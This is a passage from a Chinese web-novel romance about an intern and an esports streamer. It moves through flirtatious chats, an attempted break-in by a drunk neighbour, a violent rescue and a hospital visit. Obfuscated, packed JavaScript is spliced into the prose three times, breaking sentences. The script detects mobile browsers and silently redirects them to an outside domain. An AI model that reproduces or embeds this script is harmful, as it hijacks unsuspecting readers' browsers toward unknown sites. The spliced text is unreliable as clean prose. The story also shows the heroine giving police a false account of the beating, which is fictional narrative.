好想帮她理一理发丝…… 他抑制住奇怪的欲|望,认真对她说:“但是今天你突然出现在我面前,我心跳很快,像是被打了针肾上腺素。” “你这是吃鸡玩出幻觉了吧。”秦见夏见缝插针地泼冷水。 谈继秋不理她,仍然表述心意:“秦见夏,我知道你曾经当过我的粉丝,你可能介意这个,以及我的身份。但我不是因为你是粉丝才对你有好感的,我们之前也并没有什么越界行为。” “我只是单纯觉得——”他顿了顿,似乎十分难以启齿,咬了咬牙,豁出去般小声道,“你特别好。” “至于你似乎并不喜欢被曝光这种情况……”他认真考虑过,“请你不用担心。我不是明星,我直播也不需要你来出境,再说,电竞圈那么多嫂子,翻车的那几个都没人知道真名,不会有人特意扒你……我也有能力保护好你。” “所以——你要不要也仔细考虑一下,究竟喜不喜欢我?” 谈继秋一股脑说完,见她仍然垂头看向鞋尖。 虽然自己正在很紧张地等待她的答案,但是彻底说清楚后心中无比畅快。 今晚总算能睡个好觉了…… 秦见夏石化在原地。 一直没抬头是因为——只要看着他的眼睛,大脑就会停止思考。 然而她的思绪还是特别混乱。 今天发生的事情太多,她幼小的心灵有些承受不住。 于是,她选择一把将他推开,扔下句“回头再说我先去吃饭了下午还要上班”,便闪电似的转身往员工食堂的方向冲。 秦见夏就这样电光火石地闪现走了,徒留谈继秋怔愣地滞在原地。 这反应怎么比昔日的电竞选手还快? 他短促地笑了一声,盯着她落荒而逃的背影,心情十分愉悦。 胆小鬼。 还说讨厌他。 她的眼睛明明在说喜欢。 49. 我是狗 谈继秋说,清白的关系不会像他们这么别扭。 谈继秋说,他见到她时心跳很快。 谈继秋说,他觉得她特别好。 秦见夏的心脏仿佛一只突然被解开的气球,又像是被疯狂摇晃后开瓶的汽水。总之,一下子蹿出去很高,浑身都轻飘飘地。 她魂不守舍地打好饭,拖着餐盘来到食堂角落坐下,摸出手机,打算看一眼热搜。 结果收到了他五分钟前发来的微信。 谈继秋:「就算你讨厌我也不能不回微信吧?」 谈继秋:「秦见夏你是不是应该有点礼貌。」 秦见夏漫无目的地用筷子戳着番茄炒蛋,心中仍是一团乱麻,决定仍然把关乎谈继秋这件事留到下班回家再想。 然而,还是回了他的消息。 秦见夏:「你怎么知道我最讨厌说话打句号的人?」 秦见夏:「能不能别叫我全名了,感觉在被领导训话……」 谈继秋秒回:「那我叫你什么?」 谈继秋:「没确定关系的话,叫什么都有点没边界感吧」 这次还真没打句号。 秦见夏不由自主地想起林居奕,他似乎就不怎么叫她的全名。 完蛋了—— 她好像还真的更喜欢谈继秋这种,一点都不轻浮的类型。 谈继秋:「难道你的意思是,咱们现在算在一起了吗?」 谈继秋:「你等下,我查一下攻略」 秦见夏:「?」 秦见夏:「别造谣」 谈继秋:「好吧,我自作多情了」 谈继秋:「你们领导经常训你吗?要不要我和你们事业部总经理说一声?」 秦见夏:「???」 秦见夏:「别啊,没有训我!我只是个小实习生!!」 秦见夏:「你怎么还认识事业部总经理啊,我连组长级别以上的领导姓什么都不知道」 谈继秋作为业内商业价值较高的选手,与腾游的合作往来非常密切,认识个小领导还是绰绰有余。 ——毕竟腾游巴不得把谈继秋签来他们旗下的直播平台。 但显然,让秦见夏知道了更是会躲着他走。 他措辞回道:「那下次帮你引荐一下?」 秦见夏:「你这是什么脑回路啊…我吃饭了不和你聊了!」 秦见夏:「请你离前粉丝的生活远一点:)」 谈继秋:「你不是说咱们不太熟吗,那我们多熟悉熟悉,你看看你还喜欢我不」 谈继秋:「午饭吃的什么呀?」 秦见夏:「。。。」 秦见夏:「你这个年纪不适合装可爱了」 她无奈地给他拍了张工作餐的照片。 秦见夏:「图片」 秦见夏:「拜您所赐,我都来不及休息,还有不到一小时就要上班,食堂都没什么菜了」 谈继秋:「对不起/流泪」 谈继秋:「要不你别吃这狗饭了,我现在叫司机往回开,咱们去吃别的」 谈继秋:「要不下午别去了,你日薪多少?我开十倍给你。刚刚看你状态不太好,下午你请假回去休息休息好吗」 秦见夏:「你骂谁是狗呢!」 秦见夏:「我和你们资本家果然尿不到一个壶里!」 谈继秋:「我是狗我是狗」 谈继秋:「那下班我去接你?」 秦见夏:「我有打车补贴,而且我们姐说晚上要请我吃饭」 秦见夏:「请主播离粉丝的生活远一点」 谈继秋:「/流泪」 秦见夏看着他发来的表情,不禁笑出声来。 不得不说,这家伙是懂反差的。 秦见夏都有点想不起来他从前是什么样了。 反正在她的印象里,谈继秋一直都拽拽的、不理人,虽然没有到冰块脸的程度,但基本没什么情绪波动。 如果不是脸长得比较帅,以他的性格来说,会让人感到淡漠得很刻薄,不愿接近。 而且,他拒绝别人也相当不留情面,Nyoni那么漂亮的解说,他也是毫不在意,澄清了不知道多少次。 秦见夏曾经真的感觉,这个人除了比赛之外,对其他什么都不太在乎。 所以抗吧还有人叫他电竞盲僧,她承认,这确实是比电竞花瓶还精准的外号。 她边吃饭边退出微信,思考片刻,紧张地打开微博热搜。 热度已经掉下去一些,她往下滑了滑,才看到关于自己和Jichoo的词条。 基本都是对她有利的话题,营销号也都在夸,甚至好像还出现cp粉了…? 这究竟有什么好嗑的啊? 她不可置信地点开视频看了一眼。 配乐是容祖儿的《没关系》。内容也就是谈继秋和她的几次互动,以及最后采访时他的眼神变化。 好吧—— 她真的没想到,自己在台上头脑风暴的时候,他在旁边这么多戏。 虽然好像……第三视角看确实有点暧|昧…… 但这些倒是都不重要。 重要的是,还好官方加了一点美颜。 她发现自己好像还蛮上镜的。 嘿嘿。 谈继秋反倒不太上镜,本人比镜头里更精致。 秦见夏又翻看一遍评论区,除了零星几个ky的还被怼了,其他基本都是嗑cp的粉丝。 也真是奇了怪了,怎么他的粉丝对她接受度这么高啊? 她截图发给谈继秋:「图片」 秦见夏:「你花钱了?」 对方仍然秒回:「没有」 谈继秋:「你腾游蓝牌员工+211以上学历+会打lol+漂亮+有梗+真实+可爱+懒得理我,buff叠满了,也没有可喷的点」 谈继秋:「我就说啊,怎么会有人不喜欢你」 谈继秋:「对了说到喜欢你……」 谈继秋:「是不是有其他人也在追你?」 秦见夏:「什么叫“也”?」 秦见夏:「你要追我?」 谈继秋:「你先回答问题」 秦见夏:「这倒没有,那个是我妈闺蜜的儿子,我们现在不在一个城市,只是前两周第一次见面crush了,所以才发了那条朋友圈」 不对—— 她为什么要像pre一样和他描述这么详细啊? 谈继秋:「我没有文化,什么叫crush」 他实则搜过crush的意思,但……保险起见,还是再问一遍。 秦见夏:「……就是心动的意思」 谈继秋:「这才几天没联系你就对别人心动了????」 秦见夏:“……” 其实,她甚至crush了两个。 她并不觉得这有什么不对,毕竟她和谈继秋连暧|昧都算不上,他管这么宽呢。 单身的crush自由。 临近上班时间,秦见夏没想好回复什么,便直接收起手机,起身离开。 下午相对来说就轻松许多,她只需要和那个男生负责守着展区,有客人来就简要介绍,没客人就整理货架,顺便摆弄一下周边。 结果,有很多不知道是谁的粉丝认出她来—— “小姐姐小姐姐,你是上午那个幸运观众吗?” “能不能合个影啊,你在和Jichoo谈恋爱吗?” “诶,你是那个一血A神的拉克丝!” “小姐姐,你的美瞳是什么牌子啊?口红色号也好看,求链接!” “姐姐你好香,能不能和我照张相?我跟她们不一样,我嗑你和对面的短发中单t,你是不是老偷看人家来着。” “……” 秦见夏:“? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788072|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 如今这局面已经让她感到有点诡异了。 还好早就把工牌塞进口袋里,CHNJoy的工作证上没有名字。 LOL展区络绎不绝,大家找她合了影便不好意思空着手出去,乐得冉姐更加合不拢嘴,直接请展区所有人喝星巴克。 秦见夏还是单纯的学生思维,只觉得又白嫖一杯咖啡。 冉姐是那种典型的大厂小领导。 从头到脚都是金光闪闪的名牌,周身永远弥漫着香水和咖啡的混合气味,偶尔蹦出几句晋海话彰显土著身份,待人热情礼貌,却总有种似有似无的精致刻薄感。 “哦哟夏夏啊夏夏,要命嘞,我跟你讲啊,你真是我的福星,”冉姐趁着没人,与她闲聊,“你有没有想过做自媒体啊?你瞧反正你一个本科生,这岗位也转不了正的呀,还不如趁热度涨涨粉呢你说对伐?蹭一蹭Jichoo的流量也不错的呀。” 秦见夏吸了口咖啡,问道:“姐,你不觉得露脸做自媒体很尴尬吗,这样走到哪都会被人认出……” “赚钞票有什么可尴尬的,”姐把玩着周边,替她分析,“姐姐我呀是过来人,了解现在的就业环境。你是学平面设计的对伐?会做前端开发吗?” 秦见夏尴尬地摇了摇头,其实范川也让她们去学C语言和Java什么的。然而她这种纯文科生,学不明白一点编程。 大一报了个选修课,学了一句“HelloWord”就跑去教务处跪求退课了。 “如果毕业直接就业的话,你这个恐怕进不了大厂,去小公司还不如直接转行做别的赚钱,”冉姐掏出口红补妆,“你不考研的话还不如听姐的,现在就开始露脸拍视频录录vlog,抓住这波机会。” “多少人抢破头都没有你这次机缘,放弃太可惜了呀。” “现在这时代,谁有流量谁有钞票赚,谁有粉丝谁有话语权。” “有钞票不赚十三点。” 秦见夏真听进去了,又问:“那咱们公司让拍视频吗?” “哦哟,你一个暑期实习生你怕什么?视频里别露出公司logo、机密和具体工作内容,也别发负面的。他们巴不得有人替他们多多宣传呢。胆子大一点嘛,有什么大不了的呀。” “有道理,姐你说得对。” “快快快,我补好妆了,咱们也合个影嘛,我发发小红书。” 秦见夏:“……” 秦见夏:“那我也发。” 正好这会没有客户,大家都去舞台那边围观活动了,秦见夏考虑良久,没有选择开新号,而是将p后的合照发在自己有粉丝基础的“夏笺”这个号上。 作为资深三天打渔两天晒网选手,实习后没心情搞创作,这个号自然也就荒废了。 不用白不用。 她编辑了一段很小红书味的文案—— 「在腾游实习两周啦~这次很荣幸以实习生的身份参与到CHNJoy的活动中,甚至竟然莫名抽中了水友赛名额哈哈哈!能得到大家的喜欢真的让我有些受宠若惊,如有不足请大家多多关照~还遇到了人美心善并且没骂我自作主张跑去抽号的负责人姐姐@liliya」 此贴一发,她的2886个粉丝先沸腾了。 「Woc热搜上的居然是夏笺老师?」 「我草啊老师你画画牛逼也就算了,长得也这么牛逼?」 「啊啊啊?次元壁破了,我今天也看直播了来着」 「小姐姐我今天和你合影了你记得我吗![图片]」 「你和Jichoo是真的吗??」 「宝宝明天还在cj吗俺也要和你拍合照」 「……」 秦见夏回复了一会评论,正打算收起手机再干干活,最后刷新了遍帖子,忽然发现有条新评论被顶了上来—— Jichoo:「小姐姐为什么又不回微信了:)」 50. 红眼眶 谈继秋回到家正吃着泡面,随手刷了刷小红书,发现有不少人在同一条帖子下面艾特他,便点了进去。 吓得他差点把泡面打翻。 她怎么中午还说不想曝光不想被关注,下午就开始自己主动发帖了? 真是风一样一会一变。 而且,她怎么把她的鹅蛋脸p成锥子脸了? 那也很好看。 虽然还是现实中更漂亮…… 原来她画画也很厉害啊。 她真的很优秀。 等等—— 谈继秋猝不及防地意识到,那他们之间最大的隔阂也不存在了! 秦见夏担心的无非就是和他在一起会被喷,以及流量太多影响日常生活的问题。 她现在主动站出来,不就意味着她完全不在意这个主要矛盾了吗? 那她是不是一会就要回他微信,同意和他在一起了啊? 谈继秋将泡面桶一把推开,顿时眉开眼笑,切换微信点开秦见夏的聊天框。 五分钟后—— “她怎么还没回我消息?” 他嘟嘟囔囔地再度打开小红书,想着反正她也需要曝光,不如再给她上点热度,便直接在评论里问了她。 一分钟后,手机发出一连串的提示音。 秦见夏:「大哥你在搞什么飞机!!!!」 秦见夏:「我把你评论删了!!」 秦见夏:「你干嘛在我小红书底下发评论啊?」 秦见夏:「你以后千万别和我互动了!!!!」 他快被一连串感叹号闪瞎。 谈继秋:「?」 谈继秋:「我看你好像要做自媒体,想帮你加点热度」 秦见夏:「你什么脑回路啊!?!」 秦见夏:「我刚刚才在台上说和你今天第一次见面祝你找个真嫂子,你就问我为什么又不回微信」 秦见夏:「我的自媒体事业要中道崩殂了!!!!」 谈继秋:「TT」 谈继秋:「老人多忘事/流泪」 谈继秋:「好像还没上热搜,你先别生气」 谈继秋:「万一有人发现了我就说我在追你」 谈继秋:「对了我能追你吗?」 谈继秋:「你先别crush别人了crush一下我行不」 秦见夏:「?」 秦见夏:「工作去了88」 谈继秋:“……” 这咋回事啊? 他感觉自己很真诚了。 这辈子都没说过这么多话。 谈继秋百思不得其解,发微信问Dollar:「兄弟,你和小如是怎么在一起的」 谈继秋:「你怎么追的小如?」 Dollar:「哦,你要追你那个小粉丝是吧,我看热搜了」 Dollar:「我和小如就是一起吃了两顿饭就在一起了啊」 谈继秋:「?」 谈继秋:「那她怎么说我像杀猪盘」 Dollar分析道:「你是不是又面无表情地看人家了」 Dollar:「你那张脸现实中不笑的时候可以吓走90%的女生,不过你也不咋笑」 Dollar:「剩下的10%是颜控到花痴的程度」 谈继秋又在相册里翻出刚刚保存的cp向视频复盘了一遍。 他:「没有,我还安慰了她好几次」 Dollar:「实在不行你像fine一样砸钱试试呢?」 谈继秋:「我试过了,我说出她十倍工资让她下午别工作了回去休息。」 Dollar:「然后呢?」 谈继秋:「她骂我资本家」 Dollar:「666」 Dollar:「自求多福吧兄弟,看来高学历的真不好追」 谈继秋:「你帮我问问小如,这样的女生都喜欢什么?」 Dollar发来十秒语音。 听筒里是小如的声音—— 那可能还是她不喜欢你,她喜欢你的话你送什么她都很开心。 谈继秋心态炸了。 他又拿起一旁电脑桌上Fine的手持镜,照了照脸。 即便最近黑眼圈是重了点,可颜值还是在线的啊。 还是说她不喜欢他的性格吗? 那他性格确实是不太讨人喜欢…… 谈继秋再度陷入内耗中无法自拔。 他一言不发地放下镜子,继续活人微死地打开了围棋小游戏。 - 好在那条评论秦见夏删得快,虽然已经有几个人赞过,但短短一分钟左右应该不会造成很大影响。 果然,帖子发出后,“夏笺”的粉丝再度开始飙升。 其实今天又上热搜又涨粉的,对秦见夏的现实生活没有特别大的影响。 哪怕在互联网上一呼百应,但现实中的她还是要在展柜旁边站满八小时,后天还是要去公司当社畜,打八点五十五的卡。 作为第一批学会Midjourney和ChatGPT的跟风怪,秦见夏对新事物的接受能力相当快。 她当然知道,现在就是个人ip的时代,也正是自媒体行业如日中天的风口。 有热度就有钱赚,有钱不赚王八蛋。 然而对于曝光的心态,却一直是处于一种想要又不想要的纠结阶段。 她想获得流量,但又不想承担流量反噬的后果。 对于和谈继秋的感情问题,同样如此纠结。 怎么可能真不喜欢呢? 只是不想承担和他在一起后需要面临的风险。 再加上,她仍然不相信,一个二十六岁的成年男人会对初次见面的王者搭子一见钟情。 这听上去太匪夷所思了。 秦见夏对此持怀疑态度。 下班后,冉姐直接开车带她去吃了最近很火的Omakase,用完餐又将她送到了家门口。 秦见夏征得过姐的同意,一路上已经开始录起了vlog。 之前确实没正经录过视频,然而没吃过猪肉却见过猪跑,具体什么流程什么机位全凭感觉。 反正是自己的日常记录,无所谓镜头美感。 夜晚温度骤降,秦见夏被冷风一激,回到出租屋时已有些头晕目眩。 她强撑着身体,摘了美瞳卸完妆就直接倒头就睡,连衣服都没力气换掉。 趴在枕头上睡得迷迷糊糊时,突然听到一阵敲门声。 很显然,敲的还是自己家房门。 秦见夏瞬间清醒,拿起手机一看,已经过了零点,心中顿时警铃大作。 外面那人敲门的力度越来越重,将门板拍得咣咣作响。 她并没有立刻开灯,也没有发出任何声音,而是默不作声地光脚先跑去看了看猫眼。 此时她无比庆幸,自己有随手反锁大门的习惯。 只要这锁不出问题,她应该很安全。 虽然楼道里没有灯光,但透过猫眼可以趁着月光看到,门外是一个醉醺醺的男人,整张脸都是酒气,而且特别眼熟。 秦见夏现在头重脚轻地,嗓子干得快要冒烟,眼前还一阵阵眩晕,然而还是从残存的记忆里想起,这人应该是她隔壁的邻居。 那个邻居看起来的确不太像好人…… 每次碰到他,秦见夏总有种被窥视的感觉,这种黏糊糊的视线,和陈文欣带给她的很像。 他究竟是走错了还是故意而为之? 她呼吸急促地坐回床上,歇息片刻,听到外面还在大力敲门。 秦见夏便想也不想,迅速拿起手机,找到曾经保存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797835|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的派出所电话拨了过去。 分不清是疲劳过度还是过于紧张,她感觉自己的心脏快要跳出来了,甚至还有些耳鸣,头颅两侧像被电击过一样麻痹。 秦见夏泄力倒在被褥上,耳边是漫长的滴滴声,门外是接连不断的敲门声,还伴随着轻微的撬锁动静。 她感觉时间异常难捱,等到电话里传来无人接听的提示,又当即直接拨打110。 110倒是接得很快,秦见夏闷在被子里,小声报了地址和具体情况,电话那头表示会联系附近的派出所出警,请她耐心等待。 可是—— 她真的没办法耐心等待了。 外面那个醉汉已经开始砸锁,发出“咣咣——”的声音。 秦见夏租的房子是老小区,居民大多是老人,她猜测其他邻居估计不会特意来查看情况,此刻也没办法求助其他楼层的邻居。 她想求助同事大发,但大发也是个女孩子,而且她的学校离这里并不近,过来也是于事无补。 找父母更加不可能了,给他们打电话只会让他们睡不着觉。 危险的声音使秦见夏心急如焚,整个人仿佛热锅上的蚂蚁般焦灼,她便急中生智,拨通了房东的电话。 大约等了十几秒,房东大姐总算接听。 秦见夏将情况再度描述一遍,告诉她警察不一定什么时候到,但门外的醉汉已经开始砸锁了。 耳边仍然萦绕着“砰砰”的金属碰撞声,一下一下,似在凌迟。 她听到房东大姐懒洋洋地打了个哈欠,语气嗔怪:“哦——大半夜就这点事情是哇?那你就等警察来好了呀,我怎么帮你解决,我又不是110……哦哟对了,提前退租不退押金的呀……” 秦见夏气愤地挂了电话,跑去厨房拿了把刀,心道大不了和这男的拼个你死我活。 然而—— 她现在身体状态真的不太好,浑身发软到刀都有些拿不稳。 估计胜率是一九开…… 还是不能坐以待毙! 秦见夏翻找着微信通讯录,找了一圈好像也没什么可以来帮忙的亲戚或朋友。 只能在冉姐、mentor汪炜和谈继秋里三选一了。 最终还是先打开了谈继秋的聊天框。 秦见夏头晕目眩地打着字:「秋神你睡了吗我现在门外有人在咋锁撬门、打了110但是不知道警察什么时候到。,我担心锁撑不到警察来您离这边进吗能不能来帮一下我」 她最后发了个定位,实在是头疼到撑不住,选择抓住刀、听天由命地先躺下了。 时也运也,事已至此,尽人事听天命吧。 反正这地球online也不好玩,大不了一换一,也算是惩恶扬善嘛。 她晕乎乎地想,唯一遗憾的就是没跟爸妈说句再见。 尽管是平躺着,可眼前却仍在天旋地转。秦见夏缓了一会,才有力气拿起静音的手机。 “砰——砰——” 原本已经紧张到不紧张了,但在看到谈继秋消息的那一刻,还是忍不住红了眼眶。 谈继秋:「别害怕我现在就过去,十分钟以内」 谈继秋:「如果你现在能给我打语音你就给我打一个,我不发出声音」 谈继秋:「马上就到」 秦见夏躲进被子里给他打了语音通话,对方秒接。 听筒里只传来微弱的声音,像是汽车加速时的油门声。 秦见夏猜测,他应该是在开车往这边赶。 “锁还没开,你不要太着急,注意安全。” 秦见夏也不知道他能不能听见,却不忘小声叮嘱。 他还是没出声,秦见夏将手机举到耳边,也只能听到他轻浅的呼吸。 “谈继秋,我有点害怕。” 她还是忍不住,小声地诉说。 51. 男朋友 谈继秋原本正在一楼直播。 收到秦见夏消息的时候,他刚开局拿下一血。 直播间的观众们看到他像往常那样,半死不活地拿起手机看了眼,随即整张脸瞬间煞白,紧接着便立刻摘掉耳机起身就跑。 画面里只剩空荡荡的电竞椅。 他连拖鞋都顾不上换,一把抓起玄关处的车钥匙,直接走楼梯朝地库里狂奔。 也来不及给Dollar打电话,只是故作镇定地给他发了定位和语音。 “楚子豪你现在下楼帮我关下播,我有急事,一会你也来这个定位帮我。” 由于谈继秋不常出门,他的沃尔沃S60基本都放在地库吃灰。 他面无波澜地启动车子,只有自己知道,其实已经被秦见夏的消息吓得肾上腺素飙升了。 他都不敢去想如果晚到一秒钟会是什么后果。 只能先尽量安慰她,然后将油门踩到底。 好在半夜的马路上没有多少车,秦见夏的出租屋离这里也并不远,他将车速提到一百八,一路闯着红灯疾驰而过。 秦见夏打来电话后,他不敢发出声音,只能用力咬紧下唇。 手机那边一直传来砸锁的声音,一下一下,刺激着他的心脏。 脑中那根弦崩到极致时,他听到秦见夏小声说—— “锁还没开,你不要太着急,注意安全。” 谈继秋险些被她气笑了。 这都什么时候了,她居然还在关心他? 他本以为,像她这种小女生,肯定已经害怕得悄悄抹眼泪了。 然而没想到的是,秦见夏的声音听起来很镇定,只是略带几分喑哑。 还没来得及在心里感叹她的强大,就又听到她如泣如诉:“谈继秋,我有点害怕。” 这句话宛如一根细如发丝的针,一下扎进紧绷的气球表面,炸得人大脑一片乱码。 他眼角慢慢洇湿。 谈继秋忍住鼻腔的酸涩,连忙偏头看了眼时间,已经过去了六分钟。 分秒必争的时间仿佛古代的水滴刑一样煎熬,他感觉自己的心脏像是被拧到底的湿毛巾。 最后将十七分钟的车程硬生生压缩到八分钟,谈继秋将车停稳后,钥匙都没拔就百米冲刺般跑进秦见夏所在的老小区。 她发来的定位具体到一单元,没有门牌号。不过这里的房子隔音不好,光听声音也知道是在几楼。 谈继秋三步并两步地迅速爬上楼,果然看到有一个醉汉,正在举着生锈的扳手砸锁,他面上的表情是气急败坏和猥琐淫|荡的结合体,嘴里还念念有词:“破锁……这么难开……” 谈继秋心底的那股邪火再也按捺不住,当即直冲脑门。 醉汉正沉浸在色欲熏心的情绪里,楼道内也没有安装声控灯,他完全没看到一旁突然蹿上来个一米八的男人,就被谈继秋拎起后襟拽开,像扔垃圾一样甩在地上。 他发出一声痛呼,扳手也掉在一旁:“草——你他妈从哪冒出来的……” 谈继秋已经怒到不想说话,只想输出。 他一脚踩在他心口,又将他那个破扳手踹下楼,随即弯下腰开始一拳一拳地揍。 屋内的秦见夏仍处于一片混沌的状态。 点开手机发现通话已被挂断,门外也没有再传来砸锁的声音,便猜测谈继秋应该是已经到了。 耳朵依旧嗡嗡作响,似有似无地还能听到些喊痛的叫声和打斗声。 她艰难地起身下床,挪到门边,踮起脚透过猫眼一看,隐约能看到一个很大只的男人将另一个人按在地上猛揍,揍得下面那个都发不出声了。 秦见夏心中猛地一沉,心想—— 该不会是谈继秋被揍了吧。 他那么瘦,看起来好像真的打不过那个邻居…… 她也来不及仔细思考,不管不顾地打开门,亮出手里的三德刀,大声道:“不许打他!我刚报警了警察马上就到!” 然后,震惊地,与正在揍人的谈继秋对上目光—— “我靠……” “看错了,你继续打吧。” “别把人打死了,我给你开灯。” 秦见夏一把将玄关的灯拍开,顺手把小菜刀扔进鞋柜的抽屉里,免得一会警察来了说不清楚。 果然,她听到楼下几个人正在交谈的声音。 “谈继秋你别打了,警察来了!” 醉汉此时被他揍得鼻青脸肿,加上本来喝了酒反应就慢,此时更是险些要翻白眼。 谈继秋坐在他身上,又补了一拳,语气平平:“没事,我会赔钱。” “你要不要也来揍一拳?” 刚好有灯光,他抬眸打量了眼秦见夏,想瞧瞧她有没有受伤,结果发现她此刻整张脸毫无血色,额上的汗将头发都浸了个透,呼吸急促,扒着门框摇摇欲坠。 谈继秋更震怒了,回过头又开始狠揍人:“你还敢给她下药!?” 秦见夏彻底撑不住,整个人开始往下滑,气若游丝道:“快接我一下……” 谈继秋的心脏又是猛地一跳,连忙起身,眼疾手快地捞住她的身子,将她揽进怀里,方便她靠着。 “怎么回事?”他语气焦急,“你浑身怎么这么凉?” 秦见夏还没来得及回应,警察就到了。 “不好意思啊小姑娘,最近的那家派出所人手不够,还正好出警了,我们是隔壁片区的,才赶过来,让你久等了……” 两个警察一爬上来就看到这样一副场景—— 一男一女都面色煞白,男生大汗淋漓地蹲在地上,正颤抖着手摸向女生的额头。 女生坐在男生的大腿上,整个人更是刚从水里捞出来一般,奄奄一息的样子。 旁边往上走的楼梯处还躺着一个半死不活的,鼻子和嘴巴都被打出血了。 两个年轻警察都吓了一大跳:“怎么回事,你们都受伤了吗?” 其中一个直接掏出手机,开始联系救护车。 谈继秋正欲开口,秦见夏却在背后拽了拽他的衣襟,对他使了个眼神,让他扶她起来。 “警察同志是这样的……”她身体靠着谈继秋,另一只手撑住门框,舔了舔干疼的嘴唇,面不改色地说道,“他是我对象,刚才我一个人在家睡觉,然后就听到有人在砸锁,而且砸了很长时间,我透过猫眼看到这个人应该是对门的邻居,好像还喝醉了,我很害怕就联系了我男朋友……” “我男朋友赶来之后,只是把他拉到一边问了两句,我见邻居应该是冷静下来了,才打开门,结果这个邻居突然暴走,冲过来把我推在地上,我对象见我被推倒,也很生气地将他推到地上,可能没控制住力度,又发泄地打了两拳,就成这样了……” 她甚至还边说边给警察们展示了自己淤青的胳膊肘。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那两个警察怎么动作这么慢? 早知道自己开车带她去医院了。 秦见夏不会出什么事吧…… 焦躁不安的谈继秋正准备喊住Dollar,那两个警察便打开车门,把同样晕倒的醉汉扔进副驾上,他只好作罢。 “开快点。” 谈继秋不知是第几次催促道。 警察汗流浃背:“最快了,再快咱们都得出事。” 十五分钟后,秦见夏顺利挂上点滴。 谈继秋还使用钞能力,给她安排了独立病房,现在正坐在一旁陪她输液。 “先生您不用担心,您女朋友只是月经期间疲劳过度又吹了风,导致持续高烧又有低血糖才晕倒的,没有其他大碍,一会输完液烧退了就能离开了。” 值班护士在输液单上打了个勾,见穿着白短袖的帅哥后背衣服湿了一片,不由得安抚几句。 “你们感情真好,我还没见过只是发烧,就花那么多钱给安排vip病房吊水的男朋友……” “别吵。” 谈继秋神色淡淡地打断护士。 护士:“……” 她吓得立刻端起铁盘出去了,心道好不容易遇到个大帅哥,怎么跟活阎王似的。 房间内只剩谈继秋和秦见夏,他守在旁边盯着输液袋,仿佛变成一块化石。 秦见夏是被渴醒的。 虽然很想继续睡觉,但身体已经渴到极限。 在她睁开眼的瞬间,谈继秋立即凑上来问:“哪里不舒服?” 病房里只亮着微弱的床头灯,秦见夏没来得及喊渴,目光先是撞进那双湿润的眼睛。 “你怎么哭啦?” 52. 别多想 秦见夏用一次性纸杯喝着谈继秋给她接来的热水。 他坐在床边椅子上,双手交叠,胳膊肘搭在膝盖,一言不发地低头看向地面。 气氛微微有些尴尬。 秦见夏放下水杯,感觉身体舒服多了,正欲开口—— “我没哭。” 谈继秋还是不看她,打断道:“我刚刚打了个哈欠。” 秦见夏忍不住笑出声来,哄小孩般说:“好好好知道了,我们神怎么会哭呢。” 谈继秋下意识吸了吸鼻子,秦见夏笑得更大声了。 她这个角度只能看到他俊俏的鼻尖,以及微微垂落的刘海。 秦见夏此时真的很想瞧一瞧他的脸,便故意说:“诶谈继秋我流鼻血了。” 他果然迅速抬头,起身去看她,却对上秦见夏坏笑的眸子。 “这个玩笑一点也不好笑。” 谈继秋又窝窝囊囊地坐了回去,抿着唇不理她。 秦见夏总算看清他正脸,不得不承认,红着眼尾和鼻尖的谈继秋真的很我见犹怜。 中午的时候,瞧他手指关节好像也是粉粉的。 据说…… 秦见夏咬着唇,视线顺着他光洁白皙的脸庞一路向下…… “咳咳——” 想哪去了秦见夏。 “还要喝水吗?我去接。” 谈继秋起身,打算绕到另一边去拿杯子,却被她叫住。 他这样搞得她更心虚了…… 秦见夏便立刻正色道:“那个——刚刚给他们说你是我男朋友,是想说明你是正当防卫,你别多想,我没有‘逼宫’的意思。” 她越说越瞧着面前的男人脸色不对,又赶忙补充:“一会等那个邻居醒了我就去劝他不要追究责任,毕竟他对我没有实质性的伤害,但咱确实把人家打得不轻,估计顶多算他破坏财物。楼里没有监控,只要我一口咬定被他推在地上了,应该算你正当防卫,不会影响到你——” “秦见夏!” 他突然很气愤。 谈继秋气得眼睛又湿了,从眼尾到卧蚕一片潮红,整个人微微战栗,和他平日里淡漠的模样大相径庭。 瞪得她怔愣到忘记自己要继续说什么。 谈继秋看着她榆木般的神情,更是气不打一处来。 “你气死我算了——” 他似乎真的很生气,再度坐回一旁,偏过头不理她。 “?” 怎么这么大气性。 秦见夏叹息一声:“我都生病了,你就别和我闹别扭了。” “怎么突然生气了?” 谈继秋简直无语凝噎,匪夷所思地问她:“你不知道我为什么生气?” “啊?为什么?” “你不能对自己的身体爱惜一点?”谈继秋愤愤道,“中午我说让你下午请假你不听,非要继续上班!刚刚都晕倒了一睁眼还是在担心我,液都没输完还在考虑什么男朋友不男朋友的,又要跟我撇清关系……” 谈继秋是真想哭了。 “你到底是太理性了……”他顿了顿,“还是,一点都不喜欢我啊?” 秦见夏瞠目结舌地盯着他,脑子里此刻全是语气词。 啊??这点事搞得一米八大汉掉眼泪吗? 他不是棺材脸淡人吗? 演的吧……?不像演的。 乖乖隆地咚。 秦见夏你这家伙真是长本事了。 她还没来得及回应,他又立刻垂头丧气道:“算了,这个时候说这些干什么……你现在好好休息别想那些有的没的,之后的事我来处理。” “我出去给你买点吃的。” 